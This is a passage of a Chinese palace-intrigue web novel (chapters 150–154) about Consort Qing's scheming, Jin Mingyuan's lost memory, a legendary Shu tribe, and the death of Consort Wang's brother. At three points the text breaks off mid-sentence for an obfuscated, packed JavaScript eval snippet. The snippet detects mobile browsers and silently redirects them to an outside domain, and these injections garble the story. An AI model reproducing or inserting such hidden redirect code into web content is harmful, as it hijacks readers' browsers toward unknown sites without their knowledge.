我是最了解晋姐姐的人,我不能眼睁睁的看着晋姐姐因为失忆,就又和陛下纠缠在一起。 所以,我只能这么做了。” 清妃的话像是在和满春说的,又像是在自言自语。 她一双平日里总是温温柔柔的眼睛,在这一刻黑沉沉的,像是蒙了一层乌云。 满春还是觉得一阵后怕,她说:“万一…万一晋娘娘已经查到了当年的事呢?娘娘,我觉得您还是不要做这种冒险的事了。” “不做?我为什么不做?满春,你难道没有看见最近陛下对我是什么态度吗? 在陛下心里,她永远是不一样的,只要她露出一点好脸色,陛下就恨不得巴巴的凑上去。 我当年费了那么大的力气,才让她与陛下闹的恩断义绝。 现在她只是一个失忆,一切就都变了,陛下宁愿忘了她之前的事,也要纵着她。 满春,你知不知道我走到这贵妃这个位置上,我费了多少心思,又弄丢了什么? 她仅仅是一个失忆,就抢走了我在宫里最独一无二的地位。 凭什么呢? 她明明什么都不懂,什么都不会,可她只要站在那里,陛下就喜欢她。 那我呢?你知不知道我追逐了陛下多少年?明明是我先认识陛下的! 我就是不服。 就算她知道了当年的事又怎么样,反正以她那样的性格,只要想起陛下对她的不信任,她就不会再与陛下好了。” 清妃一改往日的温和,她直接攥住了满春的肩膀,连声音都尖锐了许多。 她用的力气很大,疼得满春都有点发抖。 满春抬起头来,看着自家主子遍布红血丝的那双眼,她恍然想起来,她们娘娘在小时候从来不是这样温柔的。 只是后来不知道从什么时候起,她就像是变了一个人一样,好像开始会包容别人,连说话也变得柔声细语的,就像是不会生气一样。 她的温柔伪装的太久了,久到满春几乎是从小跟着她的,都已经忘了她从前是什么模样的。 清妃现在就像是沉浸在了自己的世界里一样,满春总觉得她说的话很是不靠谱,但看着她那双泛红的眼睛,一时也不敢劝。 就在这时,房檐上好像传来一声脆响。 清妃猛地推开了满春,她厉声质问:“什么动静?谁在那里?” 满春也很快反应过来,跑出去看。 却没有发现什么异样。 “娘娘,什么人也没有,应该是鸟儿吧。”满春说。 清妃这才松了一口气,这么一闹之后,她脸上的癫狂也散去了一点儿,脸色也冷静了下来,俯身在满春耳边耳语了句什么。 邀云宫里,一个黑衣女子正向姜妃和晋明鸢禀报着刚才在玉粹宫的见闻。 提到清妃刚才的模样时,她甚至还觉得有点心有余悸。 她是姜妃最看重的暗卫,唤作挽月,平日里就是帮姜妃打探消息的。 那清妃她也关注过不少时间,之前一直都觉得那女人柔柔弱弱的,除了笑起来虚假以外,也没什么别的,但今天一看,分明就是两副面孔。 她在房檐上看的真真的,并没有错过满春当时的错愕。 到底是什么样的人,一伪装就是那么多年,甚至久远到连自己的贴身宫女,都不记得自己曾经是什么样子的。 那个清妃,心计还真不是一般的深。 挽月甚至有点担心的看了一眼姜妃,她都有点担心自家主子根本就不是那女人的对手。 对于清妃有两幅面孔的事,姜妃倒是不觉得奇怪,她更关注的是另一件事,她问:“你确定你没有听错?那个清妃大费周章就是想让晋姐姐恢复记忆?” 第150章 蜀都古族 挽月其实也觉得清妃的目的实在有些荒唐,但事实又确实是如此的。 她点了点头:“她确实是这么说的,她笃定了晋娘娘恢复记忆之后就会与陛下闹掰,她一心想做陛下心里最与众不同的那个。” 姜妃听到这里,直接嗤笑了一声:“她还真是一如既往的爱做梦呢。 行了,这件事我已经知道了,你继续去盯着她吧,千万别让她发现。” 挽月领命,直接退了下去。 通过挽月传来的话,一切已经很明显了,晋明鸢当初的事就是这清妃的手笔,甚至翠枝的死,也是她做的。 只是知道了是一回事,拿不到证据又是另一回事。 只要她们没办法证明这些都是清妃所为,便也不能对清妃做什么。 尤其是清妃兄长的死,在陛下心里实在是太重了,在没有确凿的证据之前,陛下一定会对她网开一面的,甚至即便有证据,说不定陛下看在赵离的面子上,也会… 邀云宫里的气氛一时有些沉重。 任谁都知道,想要让清妃付出代价没那么容易。 玉袅想到翠枝,更是直接红了眼睛。 她和翠枝一直同吃同住,关系自然不用说,现在这么尽心尽力的帮助晋明鸢,也是想要给翠枝报仇的。 但看到现在得知真相之后,晋明鸢和姜妃的表情都很凝重,玉袅就觉得想要给翠枝报仇的希望都变得渺茫起来。 晋明鸢也注意到了玉袅的表情不对劲,她先冷静了过来,安抚道:“你不用担心,我说了不会让翠枝白死,就一定会给她报仇的。 我们现在最重要的是拿到证据,不是吗?” 有了她的安慰之后,玉袅也稍稍缓了缓神。 但姜妃依旧一脸担忧,她问晋明鸢:“晋姐姐,你到底怎么想的?关于记忆的事,如果你不想的话,我可以…” 姜妃想说,如果晋明鸢不愿意恢复记忆,她可以想办法去阻止清妃。 但晋明鸢已经猜到了她想说什么,并且直接打断了她:“做什么要阻止她,她既然愿意想办法帮我恢复记忆,这是好事不是吗? 我巴不得她早点行动呢,也好看看我当年是怎么瞎了眼,竟然还把她当成最好的姐妹。” “可晋姐姐有没有想过,万一恢复记忆之后,很多事根本不是你想象中的那样呢?又或者那段记忆其实太沉重,对你来说并不是好事呢?”姜妃问。 只要一提到记忆,她也不可避免地想到了晋姐姐在冷宫的那段时间,也是和陛下闹得最凶的那段时间。 就算那时候晋姐姐被清妃蒙骗,并不太待见她,可是晋姐姐的事她都知。 姜妃的视线不自觉的落在了晋明鸢的手腕上,她忽然有点害怕… 晋明鸢也感觉到了姜妃态度实在古怪,她说:“其实不管沉重与否,那都是我过去的一部分,不是吗? 比起害怕面对,逃避真相,我更想弄清楚当年发生的事,尤其是云瑄。 你说我当年怎么就那么糊涂呢?和那种人为伍,还对云瑄也不管不问。 明明不管云瑄的出身到底是怎么样的,我都是他的娘亲,那时候的我真的想不懂吗?” 仅仅是这么回想下去,晋明鸢都觉得当年的自己就像是被人下了降头一样。 总之以她现在的脑子,是完全想不懂她当初到底为什么那么做的。 晋明鸢的这些问题,姜妃也没办法回答,一切答案还是得等她自己恢复了记忆才能知道。 姜妃说:“如果晋姐姐也想恢复记忆的话,我让挽月盯着清妃,看看她准备使什么手段帮你恢复,如果没有什么问题的话,咱们就装不知道。” 晋明鸢也点了点头。 她倒是觉得那个清妃让她恢复记忆的目的是和陛下闹掰,在这种情况下,她肯定不会儿戏,一定能万无一失才对。 想到这个,晋明鸢也真是好奇,她当年究竟是做了什么?竟然可以让清妃笃定,只要她一旦恢复记忆,就会和陛下恩断义绝。 虽然她现在和那个人也没有多大的关系吧。 清妃和晋明鸢也没有在这件事上消耗太多的心思,就又开始翻找起之前找来的那些杂书了。 关于蜀都那边的书就还剩下了两本,晋明鸢和姜妃一人拿了一本,眼见着就要翻到最后了,还是没什么结果。 晋明鸢这里都有点不抱希望了。 旁边的姜妃忽然提高了声音:“晋姐姐,你快看这里。” 晋明鸢将姜妃指的地方大致的扫了一遍,渐渐地,脸色也凝重了几分。 那书上赫然记载着,百年前蜀都有一只古族,她们信奉神明,认为男子皆为不详,族中尽是女子。 甚至女子到了婚配的年龄,都是从外面买来奴隶,最后又去父留子。 她们认为只有阴日出生的孩子她能侍奉神明,所以她们族中有秘法,可以控制女子生产的日子。 记载就只有这么多。 最后输上注明,这支古族的事或许只是传说,已经没有人能证明她们是不是真实存在过的了。 但姜妃和晋明鸢看到这些的时候,只觉得身体发冷,这支古族就出现在蜀都,清妃的老家也在蜀都,就连她生下云瑄的时候也是在蜀都。 世界上没有那么多巧合,唯一的可能就是这支古族确实是存在的,而且还有幸存者,甚至那幸存者说不定就是清妃家中的一员。 晋明鸢和姜妃几乎同时想到了这一层,但两个人又同时有点为难。 蜀都离京城千里远,她们该怎么把这个人找出来呢? 这个人竟然帮清妃做了这种亏心事,肯定是咬死了不会认的。 现在这个人就等于是她们唯一的希望,如果对方不认的话,线索到这里就又断了。 姜妃道:“我先找人去她老家附近打听打听,看能不能听到什么消息。 不过晋姐姐,我觉得如果真的要彻查这件事,恐怕还是得陛下来,要不咱们试着探探他的口风?” 如果能让贺江灈相信,晋明鸢当年的事有问题,借他的手来查的话,比她们两个这样畏手畏脚的查会容易很多。 第151章 过河拆桥都没这么快的 当天夜里,姜妃真的让人把贺江灈请到了邀云宫。 并且她自己难得识趣的借口出去散步,破天荒的让晋明鸢和贺江灈单独待在了一起。 姜妃打的什么主意,晋明鸢当然是知道的。 只是贺江灈在她眼里,又实在是太陌生了。 陌生的两个人相对而坐的时候,晋明鸢甚至不知道该与他说些什么。 她甚至不知道姜妃怎么就那么信任她,觉得把她单独和贺江灈放在一起,就能把事办成。 但不管再怎么尴尬,事还是要办的,于是晋明鸢就故作不经意间叫了贺江灈一起看书,然后又故作不经意间将书翻到了记载着蜀都古族的那一页。 她自认为自己的小动作做得足够隐蔽,看到贺江灈的视线真的落在了书页上的时候,晋明鸢摆出了从来没有看过这一段的模样,惊讶道:“哎呀陛下,这书有意思呀,天下之大,无奇不有,没看到这东西之前,我都不知道原来女子的生产时间是可以被控制的呢。” 她觉得如果自己直接把话挑明了的话,说不定旁边这男人能扭头就走。 毕竟这些年来,他一直都笃定贺云瑄就不是他的孩子。 于是晋明鸢只能想着通过这样旁敲侧击的手段,吸引男人的怀疑。 话音落下,没等到男人的回应。 晋明鸢忍不住侧目看了看他。 见他的视线还是落在纸上,晋明鸢觉得有点尴尬,然后她又故作不经意的找个话题:“哎呀,陛下也没有听说过这样稀奇的事吧?瞧瞧你表现的比我还惊讶呢。” 贺江灈这时候抬头,掀了掀眼皮,看向了晋明鸢。 晋明鸢只以为自己的话他听进去了,于是又说:“陛下,你说这个古族的人手里握着这种损阴德的秘法,他们遭不遭报应啊? 本来女子什么时候生产生的是男孩女孩,这不都是天定的吗,这群人这么做,岂不是逆天而行?你说她们中间还能不能有幸存者啊?” 贺江灈也不知道在想什么,一双黑沉沉的眼睛就这么盯着晋明鸢的脸,晋明鸢被他看得实在心虚,但又不想错过机会,就一直干干巴巴的,绞尽脑汁的找话题。 话说到最后的时候,她自己都不知道自己在说什么了,又对着贺江灈讪笑了一下。 这会儿她心里已经忍不住的在犯嘀咕了。 这男人到底在想什么呀?大半天不接一句话,这要让她怎么说下去吗? 手肘有点痒,晋明鸢差点习惯性的杵他一下。 但好在眼睛先一步看到了他身上明黄色的衣袍,动作蓦地就止住了。 忍住,这可是陛下,可不能随便打。 贺江灈把晋明鸢的小动作全都看在眼里,他眸光沉沉,脸上好似带了些许笑意。 尤其在听到她那些明明刻意又故作不经意的话时,那份笑意就变得更深了。 他的阿鸢,还是一如既往的直白,明明就不会说那些遮遮掩掩的话,偏偏故意掩饰,看起来实在有趣。 他也没有错过晋明鸢那只抬起来又放下的胳膊。 知道晋明鸢几乎已经在发怒的边缘了,贺江灈终于缓缓地道:“阿鸢既然好奇,朕把他们找出来给你看看不就知道了?” “啥?”晋明鸢的话不经思索,直接就脱口而出。 “朕说阿鸢如果好奇的话,朕就把他们找出来,带到你面前来,让你亲自看看。”贺江灈又重复了一遍,他眼睁睁的就看着晋明鸢的瞳孔蓦地睁大又收缩。 心思都写在脸上,隐藏都不会。 晋明鸢是真的压抑不住惊讶。 她没想到这件事这么容易的吗? 贺江灈到底有没有听懂自己的言外之意? 应该是没有懂的吧。 否则他又怎么会大度的帮自己查这件事呢? 晋明鸢根本想不出个所以然来,但她的目的又好像已经达成了。 没有了要做的事,空气里淡淡的龙涎香味涌入鼻腔,晋明鸢后知后觉的反应过来,她和贺江灈坐的有点近。 这个距离让她心里很是别扭,于是晋明鸢用手指戳了一下他的胳膊:“那个…时候不早了,你啥时候走啊?” 听到她这句话,贺江灈又要笑了,这次是被气的。 人家都说过河拆桥,她倒好,河都没过去呢,就先自己把桥掀了。 那可真是目的明确,一点儿都不愿意耽搁呢。 贺江灈故意逗她:“是时候不早了,朕今天也乏了,懒得回去了,不如…” 他话都没说完,晋明鸢猛的站了起来:“那咋行,你怎么能留在这儿呢?你宫里那么多嫔妃呢,你去哪里不行啊?你快走吧。” “阿鸢是不是忘了,你也是朕的嫔妃,朕为什么不能留下?”贺江灈岿然不动,似笑非笑的看着晋明鸢。 晋明鸢心里更慌了:“哎呀,那怎么能一样呢?跟你也说不明白,你还是快走吧。” “可是今天是你请朕来的,现在又要赶朕走,阿鸢变化如此大,总得给朕一个理由吧?”贺江灈说。 晋明鸢脑袋嗡嗡的,没想到这个人这么难缠。 她说:“我就是让你来看书的,这不是都已经看完了吗?你还想要什么理由啊?” “是吗?朕觉得还没看完,阿鸢的书很是有趣,朕想…” 想个鬼啊他想。 晋明鸢终于忍无可忍了,他直接伸手拽住了贺江灈的袖子,把他从软榻上拉了下来:“你快别想了,赶紧走吧。” “阿鸢,你是在吼朕吗?”贺江灈忽然问。 他一句听不出用意来的话,让晋明鸢稍微愣了一下。 揪着他袖子的手也松了一点儿,晋明鸢这会儿才后知后觉的反应过来,她又忘了他是皇帝,自己不能在他面前这么随意。 只是手还没有完全收回去,贺江灈抓住了她的手腕,按着她的手重新放在了自己的袖子上,他说:“别怕,阿鸢吼我,我很高兴,你之前怎么对我的,现在还是什么样就是,你在我面前从来都不用在意身份的,只要你想,可以随时让我过来,也可以随时让我走。” 第152章 又生事端 男人的话一句句的在耳边回荡着。 晋明鸢指尖之下,是他明黄色的龙袍上凸起的龙鳞纹样。 晋明鸢也说不出来自己现在是什么心情,只觉得一颗心都乱糟糟的。 她有点仓促的,想要把自己的手收回去,男人也没有拦,但那双黑沉沉的眼睛始终胶在她的脸上。 晋明鸢被他看的实在是有点不自在,她又问:“那你现在可以走了吗?” “当然可以,不过在那之前,朕还有一句话想与阿鸢说,下次如果你再想告诉朕什么的时候,可以直接说,包括你想要什么,都可以直接伸手要,没必要拐弯抹角。”贺江灈说。 他话说到这里,晋明鸢哪里还不明白,他分明是在调侃自己方才看书的事儿。 就算平常再怎么大大咧咧,晋明鸢这会儿也觉得有点尴尬,她又拽了贺江灈一把,没好气的道:“你到底还走不走了?” 贺江灈正要说什么,姜妃就从外面风风火火的跑了进来,一看到贺江灈,她就像是松了一口气一样:“先别走,陛下,臣妾发现了个大事儿,臣妾保证你绝对感兴趣。” 姜妃一副神神秘秘的模样,嘴角好像还挂着不怀好意的笑。 一看到她这个表情,贺江灈心里就有了点不好的预感:“你又有什么事?” 姜妃道:“陛下现在跟臣妾去王昭仪那里看一看就知道了,晋姐姐,你也跟着一起来,肯定有好戏看。” 姜妃神色古怪的朝着贺江灈那里瞥了一眼,又伸手把晋明鸢拉了过来,端的是跃跃欲试的模样。 贺江灈心里那股不好的预感更浓了。 这个姜妃从来就不怎么安分,能让她这么高兴的,准没好事。 “你又去王昭仪那里做什么了?”贺江灈问。 他这宫里这一个两个的,就没一个靠谱的。 姜妃道:“哎呀,这不是重点,重点是陛下看了就知道了,咱们快去吧。” 她迫不及待的催促着,拉了晋明鸢就要走。 晋明鸢似乎想起了什么,压低了声音对姜妃道:“你抓住那个王昭仪的把柄了?” 她们才刚怀疑了王昭仪落水的是有点猫腻,姜妃那么快就有发现了? 姜妃在晋明鸢这里,也是神神秘秘的。 她说:“嘿嘿,等会儿到了晋姐姐就知道了。” 说话间,他们已经到了王昭仪处。 王昭仪的院子已经被姜妃找人围起来了。 姜妃直接踹开了门,看到里面的场景,晋明鸢都惊住了,王昭仪房里竟然还有个男人。 而且穿着的是宫里禁军的衣服。 晋明鸢在看向贺江灈的时候,表情都有点麻木,如果她没有记错的话,那个晚婕妤好像才刚被处置了不久吧,这才过去几天,怎么这王昭仪房里又… 虽然和贺江灈不怎么熟,但晋明鸢这会都有点同情他了。 他这个陛下当的也太失败了点儿吧? 这嫔妃竟然一个接一个的背着他… “陛下,臣妾今天只是随便出去散步的,结果就看到一个黑影鬼鬼祟祟的进了王昭仪院子里,臣妾也是害怕出事儿呀,这才找人赶紧把院子围了起来,结果你也看看这…”姜妃双手摊开,一脸无奈的模样,但表情里明显就是在看好戏的意味。 王昭仪因为落水染了风寒,这会儿一张脸还是惨白的,在看到贺江灈的时候,她短暂的慌了神,很快就连滚带爬地跪了下来:“陛下,臣妾知道今日阿弟坏了规矩。 臣妾斗胆求陛下看在他是因为担心臣妾的份上,饶他这一次。” 阿弟?那个男人是王昭仪的弟弟? 晋明鸢又仔细的盯着二人打量了一眼,便见两人眉宇之间确实有几分相似的地方。 她这才后知后觉的反应过来是自己想歪了。 不过… 晋明鸢又看了一眼姜妃,如果这男人只是王昭仪的弟弟,那姜妃做什么这么兴奋? 晋明鸢不太了解事实,但她了解姜妃,她总觉得这件事没那么简单。 那男人短暂的失神之后,也赶紧在贺江灈面前跪了下来:“陛下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673429|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属下也是因为担心阿姐太心急了,所以才偷偷过来看望阿姐,还请陛下饶恕属下。” 贺江灈冷眼看着这二人,很快就把目光落在了姜妃身上。 姜妃在这时故意拍了拍手:“哎呀,真是好一出姐弟情深的戏码呀,这有个在宫里当禁卫的弟弟,就是不一样。 咱们受了伤,哪里能与家里人见面啊。 王昭仪可真是幸福,还有个弟弟能来看你。 我刚才瞧着那王禁卫的模样,这进后宫进的轻车熟路的,平日里怕是没少来吧。” 任谁都能听得出来,姜妃明显就是话里有话。 王昭仪和她弟弟这会儿都是冷汗连连。 王昭仪更是急切的道:“姜妃,你别血口喷人,我阿弟这是第一次来,他也是因为我出了事太紧张了才来的。” “哎呀,我就是随便说说的,王妹妹做什么那么紧张呢?”姜妃无所谓的道,她看了一眼跪在地上的男人,话锋一转,“不过话又说回来,我还是觉得令弟这进后宫进的挺轻车熟路的哈,这若是寻常宫人,怕是都发现不了呢。” 姜妃又一次意味不明,话里后宫二字咬的重重的。 她那双眼睛更是笑盈盈的,看的王昭仪心里烦躁的很。 王昭仪说:“你少在这里阴阳怪气了,你说的那些也只能证明我阿弟功夫好,除此之外还有什么?” 吼完了姜妃,她又对着贺江灈道:“陛下,今天的事确实是阿弟思虑不周,臣妾刚才已经说过他了,臣妾祈求陛下能看在他是初犯的份上从轻处置。” 王昭仪的弟弟也跟着连连磕头,两个人都把乞求的目光看向了贺江灈。 贺江灈则看着姜妃:“今天到底怎么回事?” 他这话一问出来,王昭仪姐弟也近乎殷切地看着姜妃。 尤其是王昭仪,本就不太红润的嘴唇,已经血色尽失。 姜妃说的话太古怪了,她总觉得姜妃肯定知道些什么了。 如果不是贺江灈在这里,王昭仪甚至恨不得直接给姜妃磕个头了。 第153章 王昭仪的秘密 顶着一众人探究的目光,姜妃笑笑:“这臣妾还真就不太清楚,可能事实就像王昭仪说的那样吧。 臣妾也只是觉得,王昭仪这个弟弟身手矫健,只是当个普通的禁卫,有点可惜了。” 听她这么一说,王昭仪像是狠狠的松了一口气,然后才对着贺江灈道:“阿弟他确实从小就就认真习武,他的愿望就是报效国家,如今能做禁卫,也不负他这么多年的努力了。 陛下能不能看到阿弟这些年也没有出纰漏的份上,轻罚他这一次?” 贺江灈又睨了一眼姜妃,姜妃不说话了,完全就是一副置身事外的模样。 贺江灈眼睛里闪过几分暗沉,他道:“不管他出于什么目的,总归是坏了规矩,看在他也是因为担心过度才失了分寸的份上,便罚二十大板吧。” “臣妾谢陛下宽恕。”王昭仪赶忙对着贺江灈磕了个头。 贺江灈也没多说什么,直接让人把她弟弟拖了下去,又丢下了一句好好养伤就离开了。 姜妃留下亲自把王昭仪扶了起来。 王昭仪在看向姜妃的时候,眼睛里还带着明显的警惕。 姜妃忽然说:“王妹妹是不是在好奇,本宫今日怎么会来你这里?” 她这句话一问出来,王昭仪刚缓和了一点的脸色,一下子又惨白起来。 她脚下一抖,甚至险些跌倒,明显就是心里有事。 姜妃扶着她坐了下来:“邀云宫离你这里可不近,我就算再怎么散步,也来不到你这里的。 王昭仪不妨想想,你是不是得罪了什么人?又或者你和你弟弟出了事,对谁好处最大?” 王昭仪抿着唇,手脚都好像失了温度。 但她还是嘴硬道:“我听不懂姜妃娘娘在说什么,我累了,姜妃娘娘请回吧。” 姜妃又意味深长的看了王昭仪一眼,才和晋明鸢一起回了邀云宫。 一进门,晋明鸢就有点按耐不住了,她问:“你今天在王昭仪那里打的什么哑谜呀?” 姜妃憋了一路了,这下她终于打开了话匣子:“之前咱们不是怀疑,王昭仪有什么把柄在清妃手里吗?这事儿说起来可真是厉害了,之前晚婕妤的事你还记得吗?晚婕妤**之后,她的那个奸夫不是一直没有被查出来吗?” “你是说王昭仪的弟弟就是晚婕妤的奸夫?”晋明鸢问。 她就说姜妃刚才在王昭仪那里,怎么一直在提王昭仪的弟弟进出后宫熟练,原来竟然是… “我本来没想到这里的,今天也只是想着去那边碰碰运气,结果就看到那人来后宫的姿态实在是轻车熟路。 而且如果晚婕妤的奸夫只是一个普通侍卫的话,陛下要查早该查到了,以她那无权无势的身份,除了侍卫以外,我实在想不通,她还能与谁通奸。 既然到现在没查到,就说明有人替她遮掩。 这宫里能做到这种事的没几个人,再联想王昭仪的弟弟出现在后宫,王昭仪又不顾自身生命危险,跳冰湖就为了给清妃帮忙,这不是很明显了吗?”姜妃说。 “那你今天在王昭仪那里,为什么没有把事情挑破?万一以后陛下真的发现了,岂不是要牵连到你?”晋明鸢道。 她只觉得姜妃这样做实在是太冒险了。 王昭仪那个弟弟做的可是杀头的事,姜妃现在没有挑破,岂不就等于包庇? 姜妃笑笑:“我话都说的这么明白了,你觉得咱们那个陛下是真听不懂吗?信不信明天王昭仪就会知道她弟弟的死讯?” “所以你在王昭仪那里就是故意挑拨离间?”晋明鸢问。 姜妃又笑了笑:“是呀,反正王昭仪自己也看见了,我可没有在陛下面前拆穿她弟弟,她弟弟既然**,那就只能说明有人害怕麻烦。” 晋明鸢听到这儿的时候,都有点震惊了,她道:“你什么时候有这脑子了?” 她还以为已姜妃之前的作风,发现问题的时候应该直接捅出来的,没想到竟然还用上离间计了。 姜妃煞有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673430|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介事的道:“我一直挺聪明的,只是之前那不是有云瑄在吗?我就懒得用了。” 晋明鸢有点怀疑的看着姜妃。 姜妃道:“哎呀,这些都不重要,晋姐姐就不要深究了嘛,对了,你和陛下聊的怎么样了?” 晋明鸢把贺江灈说的那些话又和姜妃说了一遍。 这回轮到姜妃怀疑了:“所以他到底知道查那个是做什么的吗?” 姜妃总觉得,以之前贺江灈对清妃的宽容程度,如果真让他察觉到这件事和清妃有关,他未必能答应的这么痛快。 晋明鸢道:“管他呢,你的人不是已经过去了吗?他如果能帮忙更好,如果帮不了忙咱们自己查。” 反正不管如何,她总要弄清当年的真相的。 宫中没有皇后,后宫还算松散,之前还有个贵妃,嫔妃们早上会去向贵妃请安,但自从贵妃被降为清妃之后,就连早上请安的事也都被免了。 但今日不一样。 一大早就有人来邀云宫传话,让晋明鸢和姜妃一起去太后的福寿宫。 太后平日里不会这么大范围的管后宫之事,姜妃和晋明鸢从邀云宫里出来的时候,就遇到了欣婕妤等人,也都是往福寿宫去的。 看这个架势就知道今日有大事发生。 果然等她们到了福寿宫的时候,才发现宫里的嫔妃几乎都到齐了,福寿宫里人满为患。 福寿宫中的座次都是按位分坐得,但晋明鸢虽然搬进了邀云宫,贺江灈却一直没给她位分,就让她在福寿宫里很是尴尬。 姜妃直接拉着晋明鸢到了自己身边坐,但还没落座,王嬷嬷就扶着太后走了出来。 一众嫔妃赶紧给太后行礼,太后的目光直接落在了晋明鸢身上:“晋氏,这里是你坐的地方吗?” 太后一来,直接先叫了晋明鸢,明显就是要拿晋明鸢开涮。 晋明鸢也没指望太后能给她什么好脸色,她也是直接反问道:“那太后娘娘说我应该在哪里?” 第154章 姜妃离间 “你如今越发没规矩了,之前在冷宫里也就算了,如今既然已经搬到了邀云宫,这后宫里的规矩总要遵守吧?”太后落了座,视线睨着晋明鸢,不紧不慢的道。 若是寻常人看到太后这般明明白白的要立规矩,必然就不说话了。 可晋明鸢不是寻常人,她现在只觉得太后莫名其妙,她直言道:“我听不懂太后娘娘的意思,您让我来福寿宫,我就不能坐在这里,那您总要告诉我,我该去哪里吧?” 太后没说话,她身边的王嬷嬷提醒道:“晋娘娘,这宫里的位置都是按位分排的,您如今连位分都没有,自然要去最末位。” “哦,早说啊。”晋明鸢道。 她对什么首位末位还真不怎么感兴趣,按住了想要替她出头的姜妃,她应了一声,直接就走到了最末尾的位置。 太后手段实在歹毒,这种时候还是不要引了她的注意好。 晋明鸢走的这么干脆,太后脸色依旧没有缓和多少,但好歹没有再向晋明鸢发难,而是直接说起了正事来。 她说的不是别的,正是昨天晋明鸢和姜妃才讨论过的事,昨夜巡夜的宫人在宫门口附近发现了一具尸体,死者的身份已经查明了,就是王昭仪的弟弟。 听到这个消息的时候,王昭仪身下的凳子在地上滑出呲啦一声巨响,她整个人都险些跌倒在地上。 太后朝着王昭仪看了一眼,大概是体谅王昭仪刚失了亲人,于是便没有呵斥她。 而是对着所有人训话,大致的意思就是宫里近来不太平,让她们都安分守己。 最后太后又把姜妃安妃清妃三个管事的叫了出来,单独训斥她们管理公务不够细心,罚她们各抄宫规百遍。 等到太后训话结束,已经是半个时辰之后了。 从福寿宫出来的时候,一众嫔妃的脸色都不太好看。 尤其是王昭仪,她好像连走路都不会了,大半个身子的重量都压在自己宫女的身上。 清妃直接就走到了王昭仪的身边,她很是关切的道:“王妹妹,这究竟怎么回事呀?你弟弟怎么好端端的就…我听说姜妃妹妹昨天去你那里了,这中间是有什么关联吗?” 清妃话说的半遮半掩的,又好像明明白白的在把火苗往姜妃那里引。 她也没有刻意压低声音,足够让周围的人都听得一清二楚。 姜妃当然也听见了。 她直接扭头朝着清妃看了过来:“我真是搞不懂清妃这是在做什么,听说发生命案的时候,只有凶手才最迫切想要摆脱嫌疑。 今天太后娘娘叫大家过来,也只是希望大家都注意安全,清妃这么迫不及待的把事情往我身上推,难不成这事是你做的,想让我给你顶锅呀?” “我不是这个意思,你之前可没去过王妹妹那里,昨天突然过去,难道没有问题吗?”清妃道。 姜妃笑了笑:“我为什么去王昭仪那里,还不是拜你们所赐?还不是你们怪我不够关心宫中姐妹? 王昭仪刚落了水,又染了风寒,我过去探望,没问题吧?清妃拿这种事就想把嫌疑往我身上推,也确实有些好笑了,王昭仪不是是非不分之人,想来定能看出今日谁的嫌疑最大。” 其实就连太后训话的时候都没有说过,害死王昭仪弟弟的人在后宫。 但现在清妃和姜妃这么一争,就好像不知不觉的把这个凶手固定在了后宫里一样。 王昭仪的视线已经落在了清妃的身上,她的眼睛里尽是红血丝,扶着宫女手腕的手都在不受控制的用力。 她弟弟的事只有清妃知道。 她也只求到了清妃的头上,甚至她为了请清妃帮忙,结了冰的湖都跳了。 可弟弟还是**。 她本来不愿意怀疑清妃的。 可昨夜姜妃确实没有在陛下面前拆穿她,而且陛下也说了只罚她弟弟挨板子。 偏弟弟就死在了宫门前。 哪怕只是出了宫,她还可以安慰自己,不是清妃做的,可死在宫里,有这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681453|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本事的,除了刚夺了宫权的清妃又还有谁呢? 清妃平日里就会收拢人心,她安排个人无声无息的把刚被打了板子的弟弟杀死在宫里,再简单不过了。 只要弟弟活着,她就得替弟弟遮掩,还有被陛下发现的风险,只有弟弟**,对她来说才是一劳永逸啊! 想清楚这些的时候,王昭仪几乎咬碎了一口银牙,她连嘴唇都在不断的发抖。 清妃回过头来,就看到王昭仪的表情有点古怪,她问:“王妹妹,你该不会真的相信了姜妃的话吧,我与你弟弟又无仇,我怎么可能害他呢?” 王昭仪看着清妃那无辜的张脸,只觉得无比的恶心。 但她又很清楚,这个时候自己和清妃撕破了脸皮没什么好处。 清妃能除掉她弟弟,也能除掉她。 王昭仪努力平复着自己的心情,声音还是有点勉强:“怎么会呢?清妃姐姐,你是什么样的人,妹妹还是清楚的,清妃姐姐平日里连只蚂蚁都舍不得踩死,怎么可能对我弟弟做那样的事? 我自然不会怀疑姐姐的,也分得清这就是姜妃在挑拨咱们姐妹之间的关系,这么明显的事,我当然不会上当了。” 王昭仪的声音都是僵硬的。 但清妃以及周围的人听到她这么说,却并不觉得古怪,几乎所有人都默默的把王昭仪奇怪的声音归咎于她得知自己弟弟的死讯后伤心过度。 清妃安抚的拍了拍王昭仪的肩膀:“你能这么想,姐姐就放心了,你弟弟的事,姐姐当真不知情,不过你放心,我会帮你查出这个真相的。” 